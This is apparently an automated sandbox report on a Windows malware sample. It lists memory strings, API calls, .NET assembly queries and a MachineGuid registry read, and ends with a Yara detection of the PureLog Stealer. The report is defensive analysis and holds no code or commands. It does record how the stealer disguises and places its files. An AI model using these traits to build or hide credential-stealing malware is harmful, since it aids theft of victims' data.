Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhF
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4jb
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhs
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdI1
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(7;!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhp
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh{
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX1.
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhz
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX>\!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q {Z!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4T1!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhb
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(SK
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlZ0
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh`
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<{a
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh]
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhg
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|6o!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<{k
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<\|M
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qt<R!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdJ6
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0dJ
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxs8
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlyB!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh}
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql[5
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd+
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd5
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd3
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8iK
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8hi
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,Pf
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd'
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd$
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd"
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdM
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@zJ
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdK
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@yh
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qtLd!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdJ
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdX
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|\l!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qtbO!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd@
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd>
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd<
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<yP!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdF
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdC
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qD51!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$?d!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdp
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdl
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdi
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q 6G
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4^]
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdu
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qds
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhE5
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd`
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4_I
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4^g
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdY
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|n7
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdg
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8gV
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdb
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4\L!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qpb]!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd}
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q 8<
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlQv
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlRX
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdJZ!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`0
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`9s
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|V!!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<Vi!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`:U
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDcI!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT"R
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`$
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`"
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qtcW
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdBl
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxkd
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`H
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`E
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\?:!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`Q
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX+K
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`O
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlSa
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX*i
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlq'!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`M
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$\|8!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qp*r!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(zj!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`:
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q jb!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q ?!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`5
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPn[!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlTM
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`C
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qL&Y!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlSk
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`>
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8k@
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`g
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q49e!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,S=
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`p
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qp4E!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`n
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8l0
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`uX!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`V
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@\|?
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,T-
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`8`
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q``
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`^
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8m!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`?,!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q ]f!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@}/
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT ]
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh'e!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlog!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qL=#!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT!I
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd@w

Source: C:\Windows\SysWOW64\brightness.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	7_2_027B5A78
Source: C:\Windows\SysWOW64\brightness.exe	Code function: GetLocaleInfoA,	7_2_027BA744
Source: C:\Windows\SysWOW64\brightness.exe	Code function: GetLocaleInfoA,	7_2_027BA790
Source: C:\Windows\SysWOW64\brightness.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	7_2_027B5B84
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: GetLocaleInfoA,	10_2_00417A20
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	12_2_028B5A78
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: GetLocaleInfoA,	12_2_028BA790
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	12_2_028B5B83
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: GetLocaleInfoA,	15_2_00417A20

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027B918C GetLocalTime,

7_2_027B918C

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027BB70C GetVersionExA,

7_2_027BB70C

Source: C:\Users\Public\Libraries\jphwmyiA.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE
